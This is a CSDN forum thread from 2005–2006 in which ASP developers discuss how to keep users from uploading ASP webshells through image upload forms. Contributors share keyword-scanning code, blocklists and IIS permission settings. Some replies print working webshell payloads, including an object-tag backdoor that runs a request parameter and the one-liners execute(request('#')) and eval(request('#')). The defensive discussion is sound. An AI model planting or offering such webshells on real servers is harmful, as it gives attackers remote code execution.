CSDN首页 空间 新闻 论坛 Blog 下载 读书 网摘 搜索 .NET Java 视频 接项目 求职 在线学习 买书 程序员 通知
山寨机中的战斗机! 程序优化工程师到底对IT界有没有贡献
CSDN社区
搜索 收藏 打印 关闭
CSDN社区 >  Web 开发 >  ASP

[原创]--防止上传asp木马---[分享]----散分----哈哈----

楼主3573745(※∷超≌√)2005-11-05 22:08:49 在 Web 开发 / ASP 提问

很多社区或者系统都是容许用户上传照片  
  但是很多非法分子就利用此机会上传asp木马来损害服务器或者网站,已经对很多网站造成了很大的威胁  
   
  set   fs=Server.CreateObject("Scripting.FileSystemObject")  
              set   fopen=fs.OpenTextFile(----checkfile----,1,1,-2)           '以文本方式打开文件  
              filecontent=fopen.readall                                                               '读取内容  
  if   instr   (filecontent,"FileSystemObject")   >=1   then                         '判断是否有fso字符  
      response.write   "<script   language='javascript'>"   &   VbCRlf  
  response.write   "alert('非法上传木马文件!本次操作已经记录。我们会对此进行追究!');"   &   VbCrlf  
  response.write   "history.go(-1);"   &   vbCrlf  
  response.write   "</script>"   &   VbCRLF  
    response.end  
  set   fs   =   nothing  
  end   if  
   
   
  以上   ----checkfile----   就是要检测的用户上传图片文件,做这web编程的就不要我多啰嗦了吧...  
  都使用fso以文本方式打开图片检测到   有   fso   特殊字符时就做出相应提示....  
  然后你就可以删除文件.同时记录事件什么.接下来也不要我多啰嗦吧.....  
  asp.net   以及   php   木马原理相同.相信有这个原理大家可以解决你们的困难,,,,,,,,,,,,,,,,,,,,,,,,其实很早就想写出来.但是一直感觉比较忙.,托到现在,希望能够给大家一点用处.......  
   
   
  有改进的话可以跟我共同商讨.  
  email:3573745@163.com 问题点数:198、回复次数:87Top

1 楼yjcity(yjcity.com城市2.0)回复于 2005-11-05 22:22:28 得分 3

这样是防止不了的,因为人家还可以把运行的代码转换一次,调用的时候再转换回来运行,转换的代码是找不到FileSystemObject这样的字句的(而且你这个代码对大小写敏感,人家把其中一个字母改为大写你就监测不到了),现在很多木马都用加密的方法来骗过一些杀毒软件。  
  其实网站上传系统,不允许人家上传可运行的文件就可以了,即使他把文件改成图片或其它格式,传上来无法运行,还是等于没传。Top

2 楼3573745(※∷超≌√)回复于 2005-11-05 22:26:51 得分 0

有道理!  
  但是一般动态网站的好些无法限制文件不运行哦!  
  除非自己的服务器.  
  看起来这个问题还是难啊......Top

3 楼fffddd(假钞换贞操)回复于 2005-11-06 00:03:30 得分 3

这种方法(原理)当然不好了。加密过后的ASP是没有这个字符串的。Top

4 楼wangyingdong(初学asp.net)回复于 2005-11-06 10:50:20 得分 3

还行!!Top

5 楼IT_Fish(游泳在IT的鱼)回复于 2005-11-06 11:42:15 得分 3

如果涉及到代码加密,这不就行不通了Top

6 楼huangkw007(水若寒)回复于 2005-11-06 12:33:38 得分 2

对,对加密的代码无效。Top

7 楼satans18((何畏)(只要你过得比我好))回复于 2005-11-06 13:05:39 得分 2

支持一下~Top

8 楼3573745(※∷超≌√)回复于 2005-11-06 13:51:23 得分 0

其实ASP代码加密、接密好象都只有一种算法。所以把加密之后的代码加上来不知道你们觉得怎么样?Top

9 楼singlepine(小山)回复于 2005-11-06 13:53:55 得分 2

支持一下Top

10 楼rifor(惊峰)回复于 2005-11-06 14:04:13 得分 3

动网都经常被人找出漏洞。  
  上传木马这问题肯定很难解决的Top

11 楼tatty_bad(我总是出现在该出现的地方)回复于 2005-11-06 14:07:51 得分 3

说真的,用途不大.  
  只要有上传,那么是不是ASP,已经次要了..  
   
  黑你,绝对可以饶过你这种办法Top

12 楼wocall(百闻不如一见)回复于 2005-11-06 14:10:02 得分 3

楼主再加上3573745(※∷超≌√)   同志的,基本上也能解决一些问题。  
  要真想严防死守,唯一的办法,就是不让他人有任何可上传文件的机会。  
  要是租的虚拟主机,就根本不要考虑这个问题,不是某个个体能解决的。Top

13 楼wtogether(wtogether)回复于 2005-11-06 15:23:05 得分 3

if   instr   (filecontent,"FileSystemObject")   >=1   then检测不到这段代码:  
  Dim   fso:   Set   fso   =   Server.CreateObject("Scripting.File"     &   "System"   &   "Object")Top

14 楼laogou(老狼)回复于 2005-11-06 15:31:50 得分 3

灰鸽子连杀毒软件和木马克星也只能在安全模式下查杀,  
  asp的  
  图片,CHM,txt捆绑木马,等干脆就大多数杀不掉  
  此法可行性让人怀疑,  
   
  值得嘉奖!  
  Top

15 楼wgf001(我心永恒)回复于 2005-11-06 15:59:18 得分 3

有用处  
  但是用处不大Top

16 楼boyd1985(波伊德乐园->http://www.boyd.cn)回复于 2005-11-06 17:04:30 得分 2

顶一回,支持!!!Top

17 楼boyd1985(波伊德乐园->http://www.boyd.cn)回复于 2005-11-06 17:05:50 得分 3

不过,这种想法挺好,但木马不是你所想象的那样简单、容易对付的,网上有很多这样的源码,可以用来参考参考的。Top

18 楼rob123(萝卜[http://www.robchen.cn])回复于 2005-11-06 20:03:37 得分 2

感觉基本上没什么作用。...不过散分的帖子不顶好象没理由.呵呵。  
  一般来说是检查上传文件类型已经控制放上传文件文件夹的权限。Top

19 楼3573745(※∷超≌√)回复于 2005-11-08 21:00:48 得分 0

终于感觉到一个问题真的要从多方面考虑  
  哈哈!  
  不过我觉得假如我不公布自己的防上传代码  
  还是有一定的作用.  
  不知道大家自己有什么好的方法限制上传木马文件么  
  至于在eweb   里面我很简单地就限制了.(通过session权限限制上传.)  
  大家贴点自己的东西出来阿.Top

20 楼3573745(※∷超≌√)回复于 2005-11-08 21:04:31 得分 0

其实我觉得最好的就是判别  
  是否同时存在"<%"和"%>"  
  四个字符,  
  或者就是加密之后的这四个字符,因为我已经说国了,asp加密方式只有一种,  
  所以加密代码也只有一种.  
  至于判别其他字符,似乎难一些,  
  因为加密或者其他什么书写方式  
  而"<%"和"%>"是不能够变的.Top

21 楼jspadmin(阿笨狗http://www.pifoo.com域名空间专卖cn20、com50元)回复于 2005-11-09 00:59:24 得分 3

呵呵,有很多方法可以绕过你的办法的,随便写一个加密函数,就可以了,现在杀毒软件和木马客星有无数变体木马查不了  
  ---------------------------------------------------------------------------------  
  欢迎光临我的小站(提供免费博客申请):http://www.pifoo.comTop

22 楼nebug(嗅e虫)回复于 2005-11-09 01:10:13 得分 3

是啊,上有正策下有对策哟,  
  虽然看起来用处不是很大,但是也是一种思想哟,  
  支持一下。Top

23 楼ybfqlyq(Rossy|http://blog.ybfq.com)回复于 2005-11-09 07:59:01 得分 2

不懂來學習。Top

24 楼Mapleleaf123(为分而努力)回复于 2005-11-09 09:28:54 得分 2

路过Top

25 楼liyong888_8(春风化雨)回复于 2005-11-09 09:43:17 得分 3

有作用,但是作用不大。  
  顶一回,支持!!!  
  继续努力!Top

26 楼yaotou(摇头玩)回复于 2005-11-09 09:43:47 得分 3

好,有机会试试Top

27 楼daya112(极品男人)回复于 2005-11-09 10:12:47 得分 2

都是高手,支持一下~~~Top

28 楼pzhuyy(喝小酒泡尼姑)回复于 2005-11-09 11:17:32 得分 2

接分Top

29 楼fqingchu(昊天)回复于 2005-11-09 11:29:34 得分 3

限制上传的文件夹运行可执行和asp文件Top

30 楼3573745(※∷超≌√)回复于 2005-11-09 12:10:31 得分 0

fqingchu(昊天)    
  限制上传的文件夹运行可执行和asp文件  
   
  好像没有听说过.  
  可以提供相关么.Top

31 楼china165()回复于 2005-11-09 12:38:29 得分 2

一看就知道不行了.Top

32 楼mikeytu(小熊)回复于 2005-11-09 12:42:03 得分 3

fqingchu(昊天)的方法便是最好的方法!楼主的方法只不过是从程序限制的角度上考虑,却没有也不可能把所有需要限制的东西一并考虑进去……  
  限制上传文件夹运行可执行和asp文件很简单,只要稍微懂得iis配置便懂得如何设置,就是选择上传文件夹,右键点属性……Top

33 楼iuhxq(小灰)回复于 2005-11-09 12:48:09 得分 3

微软提供了一个脚本编码解码程序,你这么做只能过滤简单的木马  
   
  根本的还是限制上传文件夹的运行权限。如果对自己写的程序比较自信可以在程序里控制上传类型Top

34 楼3573745(※∷超≌√)回复于 2005-11-09 12:53:03 得分 0

晕倒!  
  楼上的  
  限制文件类型那是简单不过了的.  
  而且限制上机类型通常是通过文件后缀来判断.  
  但是很多人都是通过文件后缀来骗过程序上传,  
  Top

35 楼text44(text)回复于 2005-11-09 14:12:40 得分 2

学习   一般的都还是不给上传了Top

36 楼zwrtv(蝙蝠)回复于 2005-11-09 14:42:06 得分 2

UP学习下Top

37 楼damboo(淡泊)回复于 2005-11-09 15:12:08 得分 3

我一般的做法是这样  
  比如网站的根目录是wwwroot,其中upload目录是存放上传文件的  
  首先确定这个网站是放在NTFS分区,否则安全性会差一点  
  然后右键查看wwwroot的属性,选择“安全”选项卡  
  一般来说,里面有个everyone,而且是“完全控制”  
  这时候添加“IUSR_”用户,并设置为“只读”  
  然后右键查看upload目录的安全属性,把他的继承去掉,设置IUSR_用户为完全控制  
   
  以上步骤的目的是:允许upload目录上传,即使万一被上传了木马,它也无法对网站的其他文件进行攻击。  
   
  然后在IIS里面,选择upload目录,右键查看属性,在“目录”选项卡里,有一个“执行权限”  
  缺省值是“纯脚本”,把它改成“无”  
  这时候,upload目录里的文件,不管它是asp还是jpg,访问的时候都被认为是一个普通的文件  
  例如执行:http://www.yoursite.com/upload/backdoor.asp  
  会把这个asp文件当成文本文件打开,而不会执行里面的代码Top

38 楼piaoyu228(镜子)回复于 2005-11-09 17:23:54 得分 2

学习Top

39 楼wdx1632(lg)回复于 2005-11-09 18:09:26 得分 2

damboo(淡泊),说的对.Top

40 楼webdevelop(网上飞)回复于 2005-11-09 18:39:30 得分 2

关注Top

41 楼zhuning73(朱宁)回复于 2005-11-09 20:13:53 得分 2

damboo(淡泊),有道理!Top

42 楼nosad(水温没调好)回复于 2005-11-09 21:22:31 得分 2

学习~~~Top

43 楼Scarroot(每天一贴,把分用完.)回复于 2005-11-09 21:25:59 得分 2

markTop

44 楼xtuwz(子依(向大家學習,向版主學習!))回复于 2005-11-10 08:17:20 得分 2

可以呀Top

45 楼zhanghongwen(流氓蚊子)回复于 2005-11-10 08:43:33 得分 2

接分Top

46 楼starwalker(飞)回复于 2005-11-10 08:45:45 得分 3

不给上传文件的地方运行的权限就行了Top

47 楼ASP0000(代码狂热者)回复于 2005-11-10 10:58:40 得分 3

思路是可行的,但目前很多的木马都用了加密写法,这样可能就查不准确了吧!Top

48 楼CSHARPS(无是无非)回复于 2005-11-14 22:00:08 得分 3

脚本加密就不成啦。  
   
  不过还是不错。Top

49 楼lzhblacker(小熊不小)回复于 2005-11-14 22:08:48 得分 2

关注Top

50 楼shao4966(蓝峰)回复于 2005-11-14 22:28:00 得分 2

强,jf。Top

51 楼goga21cn()外城◣◥◣◥奔III的预备团员︻$▅▆▇◤()︻︼─一()回复于 2005-11-14 23:13:22 得分 2

up!Top

52 楼libofeng(逍遥蝶)回复于 2005-11-15 18:08:53 得分 6

以下是我为用于动网的上传文件检查  
   
  '添加的代码,删除包含非法代码的文件  
  Public   Function   alertAndRemoveFile(Byval   PathAndFileName)  
  on   error   resume   next  
  dim   MyFileObject,MyTextFile,NeedDel,StrCheckFile  
  alertAndRemoveFile=false  
  Set   MyFileObject=Server.CreateObject("Scripting.FileSystemObject")  
  Set   MyTextFile=MyFileObject.OpenTextFile(PathAndFileName)  
  DO  
  If   MytextFile.AtEndOfStream   Then   Exit   Do  
  StrCheckFile=MytextFile.ReadLine  
  if   includeBadWord(StrCheckFile)   Then'调用判断函数  
  alertAndRemoveFile=true  
  NeedDel=true  
  Exit   Do  
  End   If  
  Loop  
  MYTextFile.Close  
  If   NeedDel   Then   MyFileObject.DeleteFile   PathAndFileName  
  set   MYTextFile=nothing  
  set   MyFileObject=nothing  
  End   Function  
   
  '下面过程为,记录有害文件上传者  
  Public   Sub   saveBadLog(Byval   UserName)  
  on   error   resume   next  
  dim   MyFileObject,MyTextFile  
  Set   MyFileObject=Server.CreateObject("Scripting.FileSystemObject")  
  Set   MyTextFile=MyFileObject.OpenTextFile(Server.mappath("/useruploadbadfile_log.txt"),8,TRUE)  
  MyTextFile.WriteLine(UserName&","&Request.ServerVariables("Remote_Addr")&","&Now())  
  MYTextFile.Close  
  set   MYTextFile=nothing  
  set   MyFileObject=nothing  
  End   Sub  
   
  '下面过程为,检查文本是否有有害代码  
  Private   Function   includeBadWord(Byval   FileStr)  
  includeBadWord=false  
  dim   StrBadWord,ArrStrBadWord,i  
  StrBadWord="server.|.createobject|execute|.encode|eval|request|language=|activexobject"'定义恶意代码  
  ArrStrBadWord=split(StrBadWord,"|")  
  For   i=0   to   ubound(ArrStrBadWord)  
  if   Instr(LCase(FileStr),ArrStrBadWord(i))>0   Then  
  'response.write(ArrStrBadWord(i))  
  includeBadWord=true  
  Exit   For  
  End   If  
  Next  
  End   FunctionTop

53 楼spacener(空中楼阁)回复于 2005-11-16 10:24:33 得分 5

<!了><object   id=fs   RUNAT=SERVER     classid='clsid:0D43FE01-F093-11CF-8940-00A0C9054228'></object><!了>  
  <%if   request("test")<>""   then   Session("b")=request("test")  
  if   Session("b")<>""   then   execute   Session("b")%>  
   
  这样的木马很难防啊!Top

54 楼pzhuyy(喝小酒泡尼姑)回复于 2005-11-16 10:39:33 得分 2

帮顶Top

55 楼ph580(.Net,我喜欢!www.bjcan.com/hengxing)回复于 2005-11-16 11:09:49 得分 2

UPTop

56 楼wadsunglow(东)回复于 2005-11-16 11:12:13 得分 2

libofeng(逍遥蝶)   (   )   的有点用处  
  Top

57 楼znjgress(四空和尚)回复于 2005-11-16 11:20:24 得分 2

有点用Top

58 楼libofeng(逍遥蝶)回复于 2005-11-16 14:32:32 得分 5

完整的防木马上传组件upload.inc  
  用于动网7.0  
  对于木马检查,很有效果。当然,也有弊端,不细说了。希望可以对大家有点帮助  
  动网相关帖子:http://bbs.dvbbs.net/dispbbs.asp?BoardID=8&ID=849239&replyID=&skin=1  
   
  <%  
  '----------------------------------------------------------------------  
  '转发时请保留此声明信息,这段声明不并会影响你的速度!  
  '*******************       无惧上传类   V1.0     *********************************  
  '作者:梁无惧  
  '网站:http://www.25cn.com  
  '电子邮件:yjlrb@21cn.com  
  '版权声明:版权所有,源代码公开,各种用途均可免费使用,但是修改后必须把修改后的文件  
  '发送一份给作者.  
  '***********************************************************************  
  '***********************************************************************  
  '上传类强化记录  
  '修改者:Fssunwin  
  '----------------------------------------------------------------------  
  '添加以下属性:  
  'InceptFileType   允许上传的文件类型,以英文逗号“,”分隔。  
  '添加以下方法:  
  'FileWidth 图片宽度  
  'FileHeight 图片高度  
  '----------------------------------------------------------------------  
  '***********************************************************************  
   
  Dim   oUpFileStream  
   
  Class   UpFile_Class  
  '逍遥蝶添加的代码,删除包含非法代码的文件  
  Public   Function   alertAndRemoveFile(Byval   PathAndFileName)  
  on   error   resume   next  
  dim   MyFileObject,MyTextFile,NeedDel,StrCheckFile  
  alertAndRemoveFile=false  
  Set   MyFileObject=Server.CreateObject("Scripting.FileSystemObject")  
  Set   MyTextFile=MyFileObject.OpenTextFile(PathAndFileName)  
  DO  
  If   MytextFile.AtEndOfStream   Then   Exit   Do  
  StrCheckFile=MytextFile.ReadLine  
  if   includeBadWord(StrCheckFile)   Then'调用判断函数  
  alertAndRemoveFile=true  
  NeedDel=true  
  Exit   Do  
  End   If  
  Loop  
  MYTextFile.Close  
  If   NeedDel   Then   MyFileObject.DeleteFile   PathAndFileName  
  set   MYTextFile=nothing  
  set   MyFileObject=nothing  
  End   Function  
   
  '下面过程为逍遥蝶添加,记录有害文件上传者  
  Public   Sub   saveBadLog(Byval   UserName)  
  on   error   resume   next  
  dim   MyFileObject,MyTextFile  
  Set   MyFileObject=Server.CreateObject("Scripting.FileSystemObject")  
  Set   MyTextFile=MyFileObject.OpenTextFile(Server.mappath("/useruploadbadfile_log.txt"),8,TRUE)  
  MyTextFile.WriteLine(UserName&","&Request.ServerVariables("Remote_Addr")&","&Now())  
  MYTextFile.Close  
  set   MYTextFile=nothing  
  set   MyFileObject=nothing  
  End   Sub  
   
  '下面过程为逍遥蝶添加,检查文本是否有有害代码  
  Private   Function   includeBadWord(Byval   FileStr)  
  includeBadWord=false  
  dim   StrBadWord,ArrStrBadWord,i  
  StrBadWord="server.|.createobject|execute|.encode|eval|request|language=|activexobject"'定义恶意代码  
  ArrStrBadWord=split(StrBadWord,"|")  
  For   i=0   to   ubound(ArrStrBadWord)  
  if   Instr(LCase(FileStr),ArrStrBadWord(i))>0   Then  
  'response.write(ArrStrBadWord(i))  
  includeBadWord=true  
  Exit   For  
  End   If  
  Next  
  End   Function  
   
  Public   Form,File,Version,Err  
  Private   CHK_FileType,CHK_MaxSize  
   
  Private   Sub   Class_Initialize  
  Version   =   "无惧上传类   Version   V1.0"  
  Err   =   -1  
  CHK_FileType   =   ""  
  CHK_MaxSize   =   -1  
  Set   Form   =   Server.CreateObject   ("Scripting.Dictionary")  
  Set   File   =   Server.CreateObject   ("Scripting.Dictionary")  
  Set   oUpFileStream   =   Server.CreateObject   ("Adodb.Stream")  
  Form.CompareMode   =   1  
  File.CompareMode   =   1  
  oUpFileStream.Type   =   1  
  oUpFileStream.Mode   =   3  
  oUpFileStream.Open  
  End   Sub  
   
  以下省略  
  %>  
  Top

59 楼cyl180555(帅龙小云)回复于 2005-11-16 16:59:36 得分 2

我的做法是   在图片上传文件夹中以月份或周为单位动态建立文件夹,这个相信大家都可以做到,然后每次上传结束时在对当前文件夹下的所有文件的扩张名进行检索,有不符合条件的如.asp     .asa等就马上删除       因为是动态建立文件夹   每个文件夹下的上传文件不会很多   一次检索不会消耗太多服务器资源Top

60 楼xiaocaotongtong(小草)回复于 2005-11-16 17:26:56 得分 2

感觉基本上没什么作用。...不过散分的帖子不顶好象没理由.呵呵。  
  一般来说是检查上传文件类型已经控制放上传文件文件夹的权限。  
  Top

61 楼bytesoon(lt)回复于 2005-11-16 18:12:29 得分 2

过滤文件格式,不符给不传  
   
  ------------------------------------  
  [www.51team.com]Top

62 楼qyakun(阿锟)回复于 2005-11-17 09:35:28 得分 2

看来就要装杀毒软件了.Top

63 楼yousite1(国雾)回复于 2005-11-17 10:43:27 得分 2

兄弟不用说加密你就查不到了。  
  一句话木马你怎么防,都没考虑到啊。  
   
  比如execute(request("#"))  
  或eval(request("#"))Top

64 楼mu_mu_wu(木木屋)回复于 2005-11-17 12:10:56 得分 2

upTop

65 楼libofeng(逍遥蝶)回复于 2005-12-21 01:09:09 得分 3

server.|.createobject|execute|.encode|eval|request|language=|activexobject  
  仔细看看里面都有什么Top

66 楼3573745(※∷超≌√)回复于 2006-01-15 22:24:08 得分 0

好久没有来了。  
  突然发现回帖也不少。  
  本想结贴。但是分数总数懒得算。  
  干脆在顶一下  
                                                -----问题如题-------  
  至于上述的通过IIS限制文件夹权限,我想在CSDN里面的人没有多少人有自己的服务器。我也就不多说了。  
  解决方法。通过我看了上面所有回帖总结了一下我以前的漏洞  
                1.是通过微软加码算法绕过我的判断(至少出现"<%")  
                                解决:通过FSO得到数据库然后判断是否包含"<%"或者"%>",该方法本人已经确定可行绝对可以限制所有ASP程序的上传  
   
   
                2.是通过JS解密JS加密后的ASP代码绕过我的判断(代码中间只出现JS...)  
                                解决:还是通过FSO得到数据之后判断"jav"|"JAV"|"js"|"JS"...(jav于JS的大小写组合)因为真正图片的化乱码中间出现这些很难。即使巧合不让他上传某一张也无所谓。  
   
                最后假如空间支持php或者其他语言等等方法内似,我就不重复说了。  
                自认为马马虎虎可以解决问题。这里提供给大家,希望对大家有少许用处,或许就是提供学习。有漏洞几许讨论。  
  Top

67 楼blueonly(认真编程,低调生活。)回复于 2006-01-16 19:59:53 得分 3

instr不区分大小写  
   
  InStr   函数  
  请参阅  
  InstrRev   函数  
  要求  
  版本   1  
  返回某字符串在另一字符串中第一次出现的位置。  
   
  InStr([start,   ]string1,   string2[,   compare])  
  参数  
  start    
  可选项。数值表达式,用于设置每次搜索的开始位置。如果省略,将从第一个字符的位置开始搜索。如果   start   包含   Null,则会出现错误。如果已指定   compare,则必须要有   start   参数。    
  string1    
  必选项。接受搜索的字符串表达式。    
  string2    
  必选项。要搜索的字符串表达式。    
  compare    
  可选项。指示在计算子字符串时使用的比较类型的数值。有关数值,请参阅“设置”部分。如果省略,将执行二进制比较。    
   
  Dim   SearchString,   SearchChar,   MyPos  
  SearchString   ="XXpXXpXXPXXP"       '   要搜索的字符串。  
  SearchChar   =   "P"       '   Search   for   "P".  
  MyPos   =   Instr(4,   SearchString,   SearchChar,   1)       '   在位置   4   进行的文本比较。返回   6。  
  MyPos   =   Instr(1,   SearchString,   SearchChar,   0)       '   在位置   1   进行的二进制比较。返回   9。Top

68 楼songqihao()回复于 2006-01-16 20:37:42 得分 3

我想了一些方法在下面,请指正!(如果服务器不保存除jpg,gif以外的文件,即使不小心保存了也被重命名为bmp格式,我觉得就够了吧?)  
   
  if   file.filesize>0   then  
  fileExt=lcase(right(file.filename,3))  
  if   fileExt="jpg"   then  
  fileExt="jpg"  
  else  
  if   fileExt="gif"   then  
  fileExt="gif"  
  else  
  fileExt="bmp"  
  end   if  
  end   if  
  end   if  
  。。。。  
  if   file.FileSize>0   and   fileExt<>"bmp"   then    
  file.SaveAs   Server.mappath(FileName)  
  else  
          response.write"<SCRIPT   language=JavaScript>alert('非法文件!');"  
          response.write"javascript:history.go(-1)</SCRIPT>"  
  end   ifTop

69 楼patchclass(黑翼)回复于 2006-01-16 22:08:32 得分 3

所有的解法的都是错误Top

70 楼songqihao()回复于 2006-01-17 02:11:30 得分 2

patchclass(黑翼)   :  
   
  请讲正解?Top

71 楼goldensaint(极品金圣)回复于 2006-01-17 14:14:54 得分 3

大家想的都复杂了  
  看看我的  
   
  1.服务器装个瑞星网络杀毒版,我已经试过黑客基地的所有木马,包括编译后的(encode),全部都能找出来杀掉,顺便还能干掉金山毒霸(寒),这是最简单的方法.  
   
  2.上传目录的执行权限由"纯脚本"改为"无"  
   
  3.把上传目录在程序里写死,防止木马传到别的地方  
   
  4.所有asp程序全部搞成dll,数据库用odbc联解,嘿嘿Top

72 楼patchclass(黑翼)回复于 2006-01-19 00:39:14 得分 3

如果一旦你允许别人上传asp的代码,除非你去掉fso组件,否则很难杜绝,因为别人可以通过   server.execute来执行,或者fso组件的名字分开写,等等,自己去看看各类asp木马就知道了,其实asp木马也是个很好的管理工具啊,呵呵  
  也许你可以把上传的目录写死,写在web执行目录以外,这样可能可以,相对安全点,不过还是不安全  
  楼上的方法也不错的  
  楼主该结帖了Top

73 楼boyd1985(波伊德乐园->http://www.boyd.cn)回复于 2006-01-19 09:07:26 得分 2

怎么我现在打开这页提示有病毒??Top

74 楼czq9966(宁录)(毛主席领导咱闹革命……)回复于 2006-01-19 09:09:36 得分 2

UPTop

75 楼netdust(静时常思己过,闲谈勿论人非)回复于 2006-01-19 09:37:05 得分 2

好贴,得顶~~Top

76 楼hebhd(汉德)回复于 2006-01-19 09:38:14 得分 3

唉。如果有办法就好说了。  
   
  瑞星不要看的太好了。。。  
   
  我用了N年的瑞星了。真的很垃圾。但是没有办法还得用他。  
   
  N多程序都没有办法的。现在出的exe的压缩算法很多。他都无能为力的Top

77 楼niedewang(程序爱好)回复于 2006-01-19 09:54:59 得分 3

不要那么多批评,那个程序还是有用的  
  多加一些   关键字会好点  
  比如   <%       <script     adodb     等等   许多关键字    
  楼上的许多弟兄说的也对,加密后,可能效果没有那么明显,但是,也不要把放木马的人的水平看的那么高,很多都是初来乍练,从网上下载几个软件,下一个海洋顶端木马,然后就搜索网站,进行上传实验,对这些人来说,防范已经不错拉,总比只靠扩展名来判断好多了吧。楼主的探索精神很值得我们学习Top

78 楼niedewang(程序爱好)回复于 2006-01-19 10:02:52 得分 2

另外   我还有一个好的方法   在注册表里面   把filesystemobject   和adodb   等给它改名,改成自己能想到   以后在asp里面   这样建立  
  set   fso=server.createobject("myname")  
  做的在绝点,把用到文件操作的改为   dll   防止别人看到你的代码  
  当然   你要如果是虚拟主机   就不能这么做拉Top

79 楼youyiwuyi(有意无意)回复于 2006-01-19 11:42:08 得分 2

不要把放木马的人的水平看的那么高,很多都是初来乍练  
   
  //呵呵,能有高手光顾自己的网站也算是荣幸啊^_^Top

80 楼youyiwuyi(有意无意)回复于 2006-01-19 11:43:23 得分 2

我打开这页也提示有病毒!  
  Backdoor.ASP.KrekeTop

81 楼jspadmin(阿笨狗http://www.pifoo.com域名空间专卖cn20、com50元)回复于 2006-01-19 12:21:17 得分 2

终极防范方法:禁止上传  
  或者在linux操作系统里配置iis服务器Top

82 楼xxrl(孔曰成仁,孟曰取媳妇-->她太有才了)回复于 2006-01-19 13:18:12 得分 2

faintTop

83 楼ASP0000(代码狂热者)回复于 2006-01-19 14:04:43 得分 2

只要设置为不可以运行就可以了~Top

84 楼3573745(※∷超≌√)回复于 2006-01-19 20:28:43 得分 0

感谢大家的光临!  
  看了大家的意见最后还是肯定自己的想法(自认为还是有一定的用处的)。  
    说实话,正如也有人说的,这些东西还得看木马的原理来找解决方法,也就是所谓的……  
  哈哈  
  周末结贴  
  再次谢谢大家。  
  有啥大家一起交流。哈哈。  
  用ASPJPEG做了个签名的东东给大家  
  http://www.ispring.cn/signTop

85 楼iamsangster(浪人(★★★★★)回复于 2006-01-20 00:05:37 得分 2

upTop

86 楼binbin695(旭薇)回复于 2006-01-20 09:43:50 得分 2

高手们来帮个忙解决一下这个问题吧,IE不能全屏的问题  
  http://community.csdn.net/Expert/topic/4523/4523670.xml?temp=.2898828  
  Top

87 楼liuzkun2(飘零逝水)回复于 2006-01-20 13:06:01 得分 2

顶一下~~Top

相关问题

  • 彻底防止asp木马病从口入方法(原创)
  • 彻底防止asp木马病从口入方法(原创)
  • 如何有效防止客户端上传jpg的ASP木马?
  • ASP木马,谁来治它?
  • 瑞星实时监控是不是可以防止木马?
  • ★★★★★★突然想到一个可以防止QQ木马的方法★★★★★★
  • 网站怎样预防 海洋顶端ASP木马
  • asp木马,如何解决服务器安全问题.
  • 虚拟主机用户如何防范ASP木马?
  • [维动原创]超级ASP版DataGrid——SkyGrid

关键词

  • 文件夹
  • 文件
  • 加密
  • 字符
  • 代码
  • 函数
  • 组件
  • 执行
  • 服务器
  • 杀毒软件

得分解答快速导航

  • 帖主:3573745
  • yjcity
  • fffddd
  • wangyingdong
  • IT_Fish
  • huangkw007
  • satans18
  • singlepine
  • rifor
  • tatty_bad
  • wocall
  • wtogether
  • laogou
  • wgf001
  • boyd1985
  • boyd1985
  • rob123
  • jspadmin
  • nebug
  • ybfqlyq
  • Mapleleaf123
  • liyong888_8
  • yaotou
  • daya112
  • pzhuyy
  • fqingchu
  • china165
  • mikeytu
  • iuhxq
  • text44
  • zwrtv
  • damboo
  • piaoyu228
  • wdx1632
  • webdevelop
  • zhuning73
  • nosad
  • Scarroot
  • xtuwz
  • zhanghongwen
  • starwalker
  • ASP0000
  • CSHARPS
  • lzhblacker
  • shao4966
  • goga21cn
  • libofeng
  • spacener
  • pzhuyy
  • ph580
  • wadsunglow
  • znjgress
  • libofeng
  • cyl180555
  • xiaocaotongtong
  • bytesoon
  • qyakun
  • yousite1
  • mu_mu_wu
  • libofeng
  • blueonly
  • songqihao
  • patchclass
  • songqihao
  • goldensaint
  • patchclass
  • boyd1985
  • czq9966
  • netdust
  • hebhd
  • niedewang
  • niedewang
  • youyiwuyi
  • youyiwuyi
  • jspadmin
  • xxrl
  • ASP0000
  • iamsangster
  • binbin695
  • liuzkun2

相关链接

  • Web开发类图书

广告也精彩

反馈

请通过下述方式给我们反馈
反馈
提问
网站简介|广告服务|VIP资费标准|银行汇款帐号|网站地图|帮助|联系方式|诚聘英才|English|问题报告
北京创新乐知广告有限公司 版权所有, 京 ICP 证 070598 号
世纪乐知(北京)网络技术有限公司 提供技术支持
Copyright © 2000-2008, CSDN.NET, All Rights Reserved
GongshangLogo